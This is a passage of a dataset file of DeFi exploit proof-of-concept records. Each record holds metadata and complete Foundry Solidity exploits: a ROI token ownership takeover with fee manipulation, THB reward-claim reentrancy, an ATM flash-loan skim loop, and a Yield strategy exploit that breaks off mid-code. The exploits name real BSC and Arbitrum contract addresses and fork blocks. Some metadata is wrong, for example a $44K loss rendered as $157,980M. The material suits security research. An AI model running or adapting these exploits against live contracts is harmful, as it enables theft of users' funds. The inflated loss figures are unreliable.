"attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function testExploit() public {\n USDC.approve(address(Router), type(uint256).max);\n WAVAX.approve(address(Router), type(uint256).max);\n // AAVE flashloan\n aaveLendingPool.flashLoan(address(this), _assets, _amounts, _modes, address(this), new bytes(1), 0);\n\n emit log_named_uint(\"After exploit repaid, profit in USDC of attacker:\", USDC.balanceOf(address(this)) / 1e6);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 6, "quality_estimate": "medium", "title": "NXUSD Exploit (2022-09)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : 157.98 BNB (~44,000 US$)\n// Attacker : 0x91b7f203ed71c5eccf83b40563e409d2f3531114\n// Attack Contract : 0x158af3d23d96e3104bcc65b76d1a6f53d0f74ed0\n// Vulnerable Contract : https://bscscan.com/address/0xe48b75dc1b131fd3a8364b0580f76efd04cf6e9c#code (ROIToken)\n// Attack Tx : 0x0e14cb7eabeeb2a819c52f313c986a877c1fa19824e899d1b91875c11ba053b0\n\n// @NewsTrack\n// Blocksec : https://twitter.com/BlockSecTeam/status/1567746825616236544\n// CertiKAlert : https://twitter.com/CertiKAlert/status/1567754904663429123\n// PANews : https://www.panewslab.com/zh_hk/articledetails/mbzalpdi.html\n// QuillAudits Team : https://medium.com/quillhash/decoding-ragnarok-online-invasion-44k-exploit-quillaudits-261b7e23b55\n\nCheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\nIROIToken constant ROI = IROIToken(0xE48b75dc1b131fd3A8364b0580f76eFD04cF6e9c);\n\ncontract Attacker is Test {\n IERC20 constant busd = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);\n IWBNB constant wbnb = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));\n IPancakeRouter constant pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n IPancakePair constant busdroiPair = IPancakePair(0x745D6Dd206906dd32b3f35E00533AD0963805124); // BUSD/ROI Pair\n\n function setUp() public {\n cheat.createSelectFork(\"bsc\", 21_143_795);\n cheat.deal(address(this), 5 ether);\n cheat.label(address(ROI), \"ROI\");\n cheat.label(address(busd), \"BUSD\");\n cheat.label(address(wbnb), \"WBNB\");\n cheat.label(address(pancakeRouter), \"PancakeRouter\");\n cheat.label(address(busdroiPair), \"BUSD/ROI Pair\");\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\"[Start] Attacker BNB Balance:\", address(this).balance, 18);\n\n console.log(\"----------------------------------------------------\");\n console.log(\"Attacker swap some BNB to ROI for attack fund...\");\n console.log(\"Before [WBNB, BUSD, ROI] swap:\");\n emit log_named_decimal_uint(\"\\tBNB balance of attacker:\", address(this).balance, 18);\n emit log_named_decimal_uint(\"\\tROI balance of attacker:\", ROI.balanceOf(address(this)), 9);\n\n address[] memory path = new address[](3);\n path[0] = address(wbnb);\n path[1] = address(busd);\n path[2] = address(ROI); // [WBNB, BUSD, ROI]\n pancakeRouter.swapETHForExactTokens{value: 5 ether}(111_291_832_999_209, path, address(this), block.timestamp); // Swap 5 bnb to busd then swap to ROI, charge 0.25% trading fee\n\n console.log(\"After [WBNB, BUSD, ROI] swap:\");\n emit log_named_decimal_uint(\"\\tBNB balance of attacker:\", address(this).balance, 18);\n emit log_named_decimal_uint(\"\\tROI balance of attacker:\", ROI.balanceOf(address(this)), 9);\n console.log(\"----------------------------------------------------\");\n\n ROI.transferOwnership(address(this)); // Broken Access Control\n ROI.setTaxFeePercent(0);\n ROI.setBuyFee(0, 0);\n ROI.setSellFee(0, 0);\n ROI.setLiquidityFeePercent(0);\n\n // These's addresses are all of the ROI Token holders, but the [BUSD/ROI Pair] is not listed.\n // Ref: https://bscscan.com/token/0xE48b75dc1b131fd3A8364b0580f76eFD04cF6e9c#balances\n ROI.excludeFromReward(address(0x575e2Cd07E4d6CCBcA708D64b4ba45521A2C0722));\n ROI.excludeFromReward(address(0x216FC1D66677c9A778C60E6825189508b9619908));\n ROI.excludeFromReward(address(0x61708418F929f264Edd312aDC7089eB9d69cEd9C));\n ROI.excludeFromReward(address(0xC81DC8F793415B80d7Ee604e936B79D85BD771B6));\n ROI.excludeFromReward(address(0x19af64CFB666d7Df8C69F884CDf5d42c0e1F9D0C));\n ROI.excludeFromReward(address(0xA982444d884e00C7dFBBCB90e7a705E567853d0E));\n ROI.excludeFromReward(address(0x899045B0B52d55Be0210A1046a01B99C78E44540));\n ROI.excludeFromReward(address(0xDdda7b2D1B9EbafD37c434b90a09fca6d014682F));\n ROI.excludeFromReward(address(0xf3C7107024e4935FbFd9f665cF5321146DfBD9a8));\n ROI.excludeFromReward(address(0x6f84160a01f3D4005eB50582d14F17B72575A80A));\n ROI.excludeFromReward(address(0x143B8568B1ef2F22f3A67229E80DCF0e6fe9bf96));\n ROI.excludeFromReward(address(0x16A31000295d1846F16B8F1aee3AeDC6b2cB730b));\n ROI.excludeFromReward(address(ROI));\n ROI.excludeFromReward(address(this));\n\n console.log(\"Attacker sends all ROI to [BUSD/ROI Pair] but withholding 100,000 ROI\");\n uint256 ROI_bal = ROI.balanceOf(address(this));\n ROI.transfer(address(busdroiPair), ROI_bal - 100_000e9); // taxfee is zero\n console.log(\"----------------------------------------------------\");\n\n console.log(\"Before flashloans from [BUSD/ROI Pair]\");\n emit log_named_decimal_uint(\"\\tROI balance of attacker:\", ROI.balanceOf(address(this)), 9); // Expect 100,000\n emit log_named_decimal_uint(\"\\tBUSD balance of attacker:\", busd.balanceOf(address(this)), 18);\n emit log_named_decimal_uint(\"\\tROI balance of BUSD/ROI Pair:\", ROI.balanceOf(address(busdroiPair)), 9);\n emit log_named_decimal_uint(\"\\tBUSD balance of BUSD/ROI Pair:\", busd.balanceOf(address(busdroiPair)), 18);\n\n ROI.setTaxFeePercent(99);\n // Attacker flashloans 4,343,012 ROI from [BUSD/ROI Pair], and attacker will immediately payback\n busdroiPair.swap(4_343_012_692_003_417, 0, address(this), \"3030\"); // Notice: 99% taxfee will be charged from the [BUSD/ROI Pair]\n\n console.log(\"After flashloans from [BUSD/ROI Pair]\");\n emit log_named_decimal_uint(\"\\tROI balance of attacker:\", ROI.balanceOf(address(this)), 9); // Expect 0, Because #L122\n emit log_named_decimal_uint(\"\\tBUSD balance of attacker:\", busd.balanceOf(address(this)), 18);\n emit log_named_decimal_uint(\"\\tROI balance of BUSD/ROI Pair:\", ROI.balanceOf(address(busdroiPair)), 9); // Expect before+100,000\n emit log_named_decimal_uint(\"\\tBUSD balance of BUSD/ROI Pair:\", busd.balanceOf(address(busdroiPair)), 18); // Expect same value\n\n ROI.setTaxFeePercent(0);\n ROI.includeInReward(address(this)); // This will set _tOwned[address(this)] = 0\n\n busdroiPair.sync(); // Sync reserve before swap\n path[0] = address(ROI);\n path[2] = address(wbnb); // [ROI, BUSD, WBNB]\n ROI.approve(address(pancakeRouter), type(uint256).max);\n pancakeRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n 3_986_806_268_542_825, 0, path, address(this), block.timestamp\n ); // Oops, zero ROI balance but the _rOwned[address(this)] has been bypassed\n console.log(\"----------------------------------------------------\");\n emit log_named_decimal_uint(\"[End] Attacker BNB Balance:\", address(this).balance, 18);\n }\n\n function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {\n require(keccak256(data) == keccak256(\"3030\"), \"Invalid PancakeSwap Callback\");\n ROI.transfer(address(busdroiPair), ROI.balanceOf(address(this))); // Notice: 99% taxfee SHOULD be charged from the attacker\n }\n\n receive() external payable {}\n}\n\n/* -------------------- Interface -------------------- */\n\ninterface IROIToken {\n function GetBuyBackTimeInterval() external view returns (uint256);\n function GetSwapMinutes() external view returns (uint256);\n function SetBuyBackDivisor(\n uint256 newDivisor\n ) external;\n function SetBuyBackMaxTimeForHistories(\n uint256 newMinutes\n ) external;\n function SetBuyBackRangeRate(\n uint256 newPercent\n ) external;\n function SetBuyBackTimeInterval(\n uint256 newMinutes\n ) external;\n function SetSwapMinutes(\n uint256 newMinutes\n ) external;\n function Sweep() external;\n function Sweep(\n uint256 amount\n ) external;\n function _addressFees(\n address\n )\n external\n view\n returns (\n bool enable,\n uint256 _taxFee,\n uint256 _liquidityFee,\n uint256 _buyTaxFee,\n uint256 _buyLiquidityFee,\n uint256 _sellTaxFee,\n uint256 _sellLiquidityFee\n );\n function _buyBackDivisor() external view returns (uint256);\n function _buyBackMaxTimeForHistories() external view returns (uint256);\n function _buyBackRangeRate() external view returns (uint256);\n function _buyBackTimeInterval() external view returns (uint256);\n function _buyLiquidityFee() external view returns (uint256);\n function _buyTaxFee() external view returns (uint256);\n function _intervalMinutesForSwap() external view returns (uint256);\n function _isAutoBuyBack() external view returns (bool);\n function _isEnabledBuyBackAndBurn() external view returns (bool);\n function _liquidityFee() external view returns (uint256);\n function _maxTxAmount() external view returns (uint256);\n function _sellHistories(\n uint256\n ) external view returns (uint256 time, uint256 bnbAmount);\n function _sellLiquidityFee() external view returns (uint256);\n function _sellTaxFee() external view returns (uint256);\n function _startTimeForSwap() external view returns (uint256);\n function _taxFee() external view returns (uint256);\n function afterPreSale() external;\n function allowance(address owner, address spender) external view returns (uint256);\n function approve(address spender, uint256 amount) external returns (bool);\n function balanceOf(\n address account\n ) external view returns (uint256);\n function buyBackEnabled() external view returns (bool);\n function buyBackSellLimit() external view returns (uint256);\n function buyBackSellLimitAmount() external view returns (uint256);\n function changeRouterVersion(\n address _router\n ) external returns (address _pair);\n function deadAddress() external view returns (address);\n function decimals() external view returns (uint8);\n function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool);\n function deliver(\n uint256 tAmount\n ) external;\n function excludeFromFee(\n address account\n ) external;\n function excludeFromReward(\n address account\n ) external;\n function getTime() external view returns (uint256);\n function getUnlockTime() external view returns (uint256);\n function includeInFee(\n address account\n ) external;\n function includeInReward(\n address account\n ) external;\n function increaseAllowance(address spender, uint256 addedValue) external returns (bool);\n function isExcludedFromFee(\n address account\n ) external view returns (bool);\n function isExcludedFromReward(\n address account\n ) external view returns (bool);\n function lock(\n uint256 time\n ) external;\n function marketingAddress() external view returns (address);\n function marketingDivisor() external view returns (uint256);\n function minimumTokensBeforeSwapAmount() external view returns (uint256);\n function name() external view returns (string memory);\n function owner() external view returns (address);\n function prepareForPreSale() external;\n function reflectionFromToken(uint256 tAmount, bool deductTransferFee) external view returns (uint256);\n function renounceOwnership() external;\n function setAddressFee(\n address _address,\n bool _enable,\n uint256 _addressTaxFee,\n uint256 _addressLiquidityFee\n ) external;\n function setAutoBuyBackEnabled(\n bool _enabled\n ) external;\n function setBuyAddressFee(\n address _address,\n bool _enable,\n uint256 _addressTaxFee,\n uint256 _addressLiquidityFee\n ) external;\n function setBuyBackEnabled(\n bool _enabled\n ) external;\n function setBuyBackSellLimit(\n uint256 buyBackSellSetLimit\n ) external;\n function setBuyFee(uint256 buyTaxFee, uint256 buyLiquidityFee) external;\n function setLiquidityFeePercent(\n uint256 liquidityFee\n ) external;\n function setMarketingAddress(\n address _marketingAddress\n ) external;\n function setMarketingDivisor(\n uint256 divisor\n ) external;\n function setMaxTxAmount(\n uint256 maxTxAmount\n ) external;\n function setNumTokensSellToAddToBuyBack(\n uint256 _minimumTokensBeforeSwap\n ) external;\n function setSellAddressFee(\n address _address,\n bool _enable,\n uint256 _addressTaxFee,\n uint256 _addressLiquidityFee\n ) external;\n function setSellFee(uint256 sellTaxFee, uint256 sellLiquidityFee) external;\n function setSwapAndLiquifyEnabled(\n bool _enabled\n ) external;\n function setTaxFeePercent(\n uint256 taxFee\n ) external;\n function swapAndLiquifyEnabled() external view returns (bool);\n function symbol() external view returns (string memory);\n function tokenFromReflection(\n uint256 rAmount\n ) external view returns (uint256);\n function totalFees() external view returns (uint256);\n function totalSupply() external view returns (uint256);\n function transfer(address recipient, uint256 amount) external returns (bool);\n function transferForeignToken(address _token, address _to) external returns (bool _sent);\n function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);\n function transferOwnership(\n address newOwner\n ) external;\n function uniswapV2Pair() external view returns (address);\n function uniswapV2Router() external view returns (address);\n function unlock() external;\n}\n", "type": "exploit_poc", "protocol": "ROI", "date": "2022-09", "file_name": "ROI_exp.sol", "attack_vector": "flash_loan", "content_hash": "bfa324da015c15ca", "collected_at": "2026-01-07T10:59:16.526483", "_source": "postmortems", "chain": "bsc", "block_number": 21143795, "total_lost_raw": "157.98 BNB (~44,000 US$)", "total_lost_usd": 157980000000.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": "https://bscscan.com/address/0xe48b75dc1b131fd3a8364b0580f76efd04cf6e9c#code", "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": true, "severity": "critical", "severity_raw": "157.98 BNB (~44,000 US$)", "category": "flash-loan", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\"[Start] Attacker BNB Balance:\", address(this).balance, 18);\n\n console.log(\"----------------------------------------------------\");\n console.log(\"Attacker swap some BNB to ROI for attack fund...\");\n console.log(\"Before [WBNB, BUSD, ROI] swap:\");\n emit log_named_decimal_uint(\"\\tBNB balance of attacker:\", address(this).balance, 18);\n emit log_named_decimal_uint(\"\\tROI balance of attacker:\", ROI.balanceOf(address(this)), 9);\n\n address[] memory path = new address[](3);\n path[0] = address(wbnb);\n path[1] = address(busd);\n path[2] = address(ROI); // [WBNB, BUSD, ROI]\n pancakeRouter.swapETHForExactTokens{value: 5 ether}(111_291_832_999_209, path, address(this), block.timestamp); // Swap 5 bnb to busd then swap to ROI, charge 0.25% trading fee\n\n console.log(\"After [WBNB, BUSD, ROI] swap:\");\n emit log_named_decimal_uint(\"\\tBNB balance of attacker:\", address(this).balance, 18);\n emit log_named_decimal_uint(\"\\tROI balance of attacker:\", ROI.balanceOf(address(this)), 9);\n console.log(\"----------------------------------------------------\");\n\n ROI.transferOwnership(address(this)); // Broken Access Control\n ROI.setTaxFeePercent(0);\n ROI.setBuyFee(0, 0);\n ROI.setSellFee(0, 0);\n ROI.setLiquidityFeePercent(0);\n\n // These's addresses are all of the ROI Token holders, but the [BUSD/ROI Pair] is not listed.\n // Ref: https://bscscan.com/token/0xE48b75dc1b131fd3A8364b0580f76eFD04cF6e9c#balances\n ROI.excludeFromReward(address(0x575e2Cd07E4d6CCBcA708D64b4ba45521A2C0722));\n ROI.excludeFromReward(address(0x216FC1D66677c9A778C60E6825189508b9619908));\n ROI.excludeFromReward(address(0x61708418F929f264Edd312aDC7089eB9d69cEd9C));\n ROI.excludeFromReward(address(0xC81DC8F793415B80d7Ee604e936B79D85BD771B6));\n ROI.excludeFromReward(address(0x19af64CFB666d7Df8C69F884CDf5d42c0e1F9D0C));\n ROI.excludeFromReward(address(0xA982444d884e00C7dFBBCB90e7a705E567853d0E));\n ROI.excludeFromReward(address(0x899045B0B52d55Be0210A1046a01B99C78E44540));\n ROI.excludeFromReward(address(0xDdda7b2D1B9EbafD37c434b90a09fca6d014682F));\n ROI.excludeFromReward(address(0xf3C7107024e4935FbFd9f665cF5321146DfBD9a8));\n ROI.excludeFromReward(address(0x6f84160a01f3D4005eB50582d14F17B72575A80A));\n ROI.excludeFromReward(address(0x143B8568B1ef2F22f3A67229E80DCF0e6fe9bf96));\n ROI.excludeFromReward(address(0x16A31000295d1846F16B8F1aee3AeDC6b2cB730b));\n ROI.excludeFromReward(address(ROI));\n ROI.excludeFromReward(address(this));\n\n console.log(\"Attacker sends all ROI to [BUSD/ROI Pair] but withholding 100,000 ROI\");\n uint256 ROI_bal = ROI.balanceOf(address(this));\n ROI.transfer(address(busdroiPair), ROI_bal - 100_000e9); // taxfee is zero\n console.log(\"----------------------------------------------------\");\n\n console.log(\"Before flashloans from [BUSD/ROI Pair]\");\n emit log_named_decimal_uint(\"\\tROI balance of attacker:\", ROI.balanceOf(address(this)), 9); // Expect 100,000\n emit log_named_decimal_uint(\"\\tBUSD balance of attacker:\", busd.balanceOf(address(this)), 18);\n emit log_named_decimal_uint(\"\\tROI balance of BUSD/ROI Pair:\", ROI.balanceOf(address(busdroiPair)), 9);\n emit log_named_decimal_uint(\"\\tBUSD balance of BUSD/ROI Pair:\", busd.balanceOf(address(busdroiPair)), 18);\n\n ROI.setTaxFeePercent(99);\n // Attacker flashloans 4,343,012 ROI from [BUSD/ROI Pair], and attacker will immediately payback\n busdroiPair.swap(4_343_012_692_003_417, 0, address(this), \"3030\"); // Notice: 99% taxfee will be charged from the [BUSD/ROI Pair]\n\n console.log(\"After flashloans from [BUSD/ROI Pair]\");\n emit log_named_decimal_uint(\"\\tROI balance of attacker:\", ROI.balanceOf(address(this)), 9); // Expect 0, Because #L122\n emit log_named_decimal_uint(\"\\tBUSD balance of attacker:\", busd.balanceOf(address(this)), 18);\n emit log_named_decimal_uint(\"\\tROI balance of BUSD/ROI Pair:\", ROI.balanceOf(address(busdroiPair)), 9); // Expect before+100,000\n emit log_named_decimal_uint(\"\\tBUSD balance of BUSD/ROI Pair:\", busd.balanceOf(address(busdroiPair)), 18); // Expect same value\n\n ROI.setTaxFeePercent(0);\n ROI.includeInReward(address(this)); // This will set _tOwned[address(this)] = 0\n\n busdroiPair.sync(); // Sync reserve before swap\n path[0] = address(ROI);\n path[2] = address(wbnb); // [ROI, BUSD, WBNB]\n ROI.approve(address(pancakeRouter), type(uint256).max);\n pancakeRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n 3_986_806_268_542_825, 0, path, address(this), block.timestamp\n ); // Oops, zero ROI balance but the _rOwned[address(this)] has been bypassed\n console.log(\"----------------------------------------------------\");\n emit log_named_decimal_uint(\"[End] Attacker BNB Balance:\", address(this).balance, 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "157.98 BNB (~44,000 US$)", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0xe48b75dc1b131fd3a8364b0580f76efd04cf6e9c#code", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$157980.00M", "content_richness_score": 9, "quality_estimate": "high", "title": "ROI Exploit (2022-09)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ninterface IERC721Receiver {\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n\ninterface HouseWallet {\n function winners(uint256 id, address player) external view returns (uint256);\n function claimReward(\n uint256 _ID,\n address payable _player,\n uint256 _amount,\n bool _rewardStatus,\n uint256 _x,\n string memory name,\n address _add\n ) external;\n function shoot(\n uint256 random,\n uint256 gameId,\n bool feestate,\n uint256 _x,\n string memory name,\n address _add,\n bool nftcheck,\n bool dystopianCheck\n ) external payable;\n}\n\ncontract ContractTest is Test {\n HouseWallet houseWallet = HouseWallet(0xae191Ca19F0f8E21d754c6CAb99107eD62B6fe53);\n uint256 randomNumber = 12_345_678_000_000_000_000_000_000;\n\n uint256 gameId = 1;\n bool feestate = false;\n // sha256(abi.encode(_x, name, _add)) == hashValueTwo maybe off-chain calculate\n uint256 _x = 2_845_798_969_920_214_568_462_001_258_446;\n string name = \"HATEFUCKINGHACKERSTHEYNEVERCANHACKTHISIHATEPREVIOUS\";\n address _add = 0x6Ee709bf229c7C2303128e88225128784c801ce1;\n\n bool nftcheck = true;\n bool dystopianCheck = true;\n\n address payable add = payable(address(this));\n bool _rewardStatus = true;\n // sha256(abi.encode(_x, name, _add)) == hashValue maybe off-chain calculate\n uint256 _x1 = 969_820_990_102_090_205_468_486;\n string name1 = \"WELCOMETOTHUNDERBRAWLROULETTENOWYOUWINTHESHOOTINGGAME\";\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n IERC721 THBR = IERC721(0x72e901F1bb2BfA2339326DfB90c5cEc911e2ba3C); // Thunderbrawl Roulette Contract\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 21_785_004);\n }\n\n function testExploit() public {\n emit log_named_uint(\"Attacker THBR balance before exploit\", THBR.balanceOf(address(this)));\n\n houseWallet.shoot{value: 0.32 ether}(randomNumber, gameId, feestate, _x, name, _add, nftcheck, dystopianCheck);\n uint256 _amount = houseWallet.winners(gameId, add);\n houseWallet.claimReward(gameId, add, _amount, _rewardStatus, _x1, name1, _add);\n\n emit log_named_uint(\"Attacker THBR balance after exploit\", THBR.balanceOf(address(this)));\n }\n\n receive() external payable {}\n\n function onERC721Received(\n address _operator,\n address _from,\n uint256 _tokenId,\n bytes calldata _data\n ) external payable returns (bytes4) {\n uint256 _amount = houseWallet.winners(gameId, add);\n if (address(houseWallet).balance >= _amount * 2) {\n houseWallet.claimReward(gameId, add, _amount, _rewardStatus, _x1, name1, _add);\n }\n return this.onERC721Received.selector;\n }\n}\n", "type": "exploit_poc", "protocol": "THB", "date": "2022-09", "file_name": "THB_exp.sol", "attack_vector": null, "content_hash": "2bec26f07f8c4449", "collected_at": "2026-01-07T10:59:16.526569", "_source": "postmortems", "chain": "unknown", "block_number": 21785004, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n emit log_named_uint(\"Attacker THBR balance before exploit\", THBR.balanceOf(address(this)));\n\n houseWallet.shoot{value: 0.32 ether}(randomNumber, gameId, feestate, _x, name, _add, nftcheck, dystopianCheck);\n uint256 _amount = houseWallet.winners(gameId, add);\n houseWallet.claimReward(gameId, add, _amount, _rewardStatus, _x1, name1, _add);\n\n emit log_named_uint(\"Attacker THBR balance after exploit\", THBR.balanceOf(address(this)));\n }\n\n receive() external payable {}", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 3.51, "quality_estimate": "low", "title": "THB Exploit (2022-09)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// TX : https://app.blocksec.com/explorer/tx/bsc/0xee10553c26742bec9a4761fd717642d19012bab1704cbced048425070ee21a8a?line=2\n \n// Profit : ~182K USD\n// REASON : Business Logic Flaw\n// Sandwitch attack,the contract will exchange token -> WBNB & WBNB -> USDT,So use transfer / skim to\n\ncontract ContractTest is Test {\n IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n Uni_Pair_V3 pool = Uni_Pair_V3(0x36696169C63e42cd08ce11f5deeBbCeBae652050);\n Uni_Pair_V2 wbnb_atm = Uni_Pair_V2(0x1F5b26DCC6721c21b9c156Bf6eF68f51c0D075b7);\n Uni_Router_V2 router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 ATM = IERC20(0xa5957E0E2565dc93880da7be32AbCBdF55788888);\n uint256 constant PRECISION = 10 ** 18;\n address test_contract = address(this);\n address hack_contract;\n uint256 borrow_amount;\n\n function setUp() external {\n cheats.createSelectFork(\"bsc\", 37_483_300);\n deal(address(USDT), address(this), 0);\n }\n\n function testExploit() external {\n emit log_named_decimal_uint(\"[Begin] Attacker USDT before exploit\", WBNB.balanceOf(address(this)), 18);\n borrow_amount = WBNB.balanceOf(address(pool)) - 1e18;\n pool.flash(address(this), 0, borrow_amount, \"\");\n emit log_named_decimal_uint(\"[End] Attacker USDT after exploit\", WBNB.balanceOf(address(this)), 18);\n }\n\n function pancakeV3FlashCallback(uint256 fee0, uint256, /*fee1*/ bytes memory /*data*/ ) public {\n console.log(WBNB.balanceOf(address(this)));\n uint256 i = 0;\n uint256 j = 0;\n swap_token_to_token(address(WBNB), address(USDT), WBNB.balanceOf(address(this)) - 170 ether);\n while (j < 2) {\n swap_token_to_token(address(WBNB), address(ATM), 70 ether);\n while (i < 100) {\n uint256 pair_wbnb = WBNB.balanceOf(address(wbnb_atm));\n ATM.transfer(address(wbnb_atm), ATM.balanceOf(address(this)));\n wbnb_atm.skim(address(this));\n (, uint256 wbnb_r,) = wbnb_atm.getReserves();\n uint256 pair_lost = (pair_wbnb - wbnb_r) / 1e18;\n console.log(\"Pair lost:\", pair_lost);\n if (pair_lost == 7) {\n break;\n }\n i++;\n }\n j++;\n }\n // To get max profit,not good at math so just copy the exploiter's work\n i = 0;\n while (i < 15) {\n uint256 pair_wbnb = WBNB.balanceOf(address(wbnb_atm));\n ATM.transfer(address(wbnb_atm), ATM.balanceOf(address(this)));\n wbnb_atm.skim(address(this));\n (, uint256 wbnb_r,) = wbnb_atm.getReserves();\n uint256 pair_lost = (pair_wbnb - wbnb_r) / 1e18;\n console.log(\"Pair lost:\", pair_lost, \"BNB\");\n if (pair_lost == 0) {\n break;\n }\n i++;\n }\n swap_token_to_token(address(ATM), address(WBNB), ATM.balanceOf(address(this)));\n swap_token_to_token(address(USDT), address(WBNB), USDT.balanceOf(address(this)));\n console.log(\"My wbnb\", WBNB.balanceOf(address(this)));\n WBNB.transfer(address(pool), borrow_amount * 10_000 / 9975 + 1000);\n }\n\n function swap_token_to_token(address a, address b, uint256 amount) internal {\n IERC20(a).approve(address(router), amount);\n address[] memory path = new address[](2);\n path[0] = address(a);\n path[1] = address(b);\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);\n }\n}\n", "type": "exploit_poc", "protocol": "ATM", "date": "2024-04", "file_name": "ATM_exp.sol", "attack_vector": null, "content_hash": "3e3556831795db22", "collected_at": "2026-01-07T10:59:16.526619", "_source": "postmortems", "chain": "unknown", "block_number": 37483300, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 1.94, "quality_estimate": "low", "title": "ATM Exploit (2024-04)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"forge-std/Test.sol\";\nimport \"src/test/interface.sol\";\n\n// @KeyInfo - Total Lost : 181K\n// Attacker : https://arbiscan.io/address/0x1abe06f451e2d569b3e9123baf33b51f68878656\n// Attack Contract : https://arbiscan.io/address/0xd775fd7b76424a553e4adce6c2f99be419ce8d41\n// Vulnerable Contract : https://arbiscan.io/address/0x3b4ffd93ce5fcf97e61aa8275ec241c76cc01a47\n// Attack Tx : https://arbiscan.io/tx/0x6caa65b3fc5c8d4c7104574c3a15cd6208f742f9ada7d81ba027b20473137705\n\n// @Info\n// Vulnerable Contract Code : https://arbiscan.io/address/0x3b4ffd93ce5fcf97e61aa8275ec241c76cc01a47#code\n\n// @Analysis\n// Post-mortem :\n// Twitter Guy :\n// Hacking God : https://medium.com/immunefi/yield-protocol-logic-error-bugfix-review-7b86741e6f50\n\ninterface IYieldStrategy is IERC20 {\n function mint(\n address to\n ) external returns (uint256);\n\n function burn(\n address to\n ) external returns (uint256);\n\n function mintDivested(\n address to\n ) external returns (uint256);\n\n function burnDivested(\n address to\n ) external returns (uint256);\n}\n\ncontract Yield is Test {\n uint256 blocknumToForkFrom = 206_219_811;\n IYieldStrategy YieldStrategy_1 = IYieldStrategy(0x7012aF43F8a3c1141Ee4e955CC568Ad2af59C3fa); // pool token\n IYieldStrategy YieldStrategy_2 = IYieldStrategy(0x3b4FFD93CE5fCf97e61AA8275Ec241C76cC01a47); // strategy token valut\n IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\n IERC20 USDC = IERC20(0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8);\n\n function setUp() public {\n vm.createSelectFork(\"arbitrum\", blocknumToForkFrom);\n vm.label(address(YieldStrategy_1), \"YieldStrategy_1\");\n vm.label(address(YieldStrategy_2), \"YieldStrategy_2\");\n vm.label(address(Balancer), \"Balancer\");\n vm.label(address(USDC), \"USDC\");\n }\n\n function testExploit() public {\n // Implement exploit code 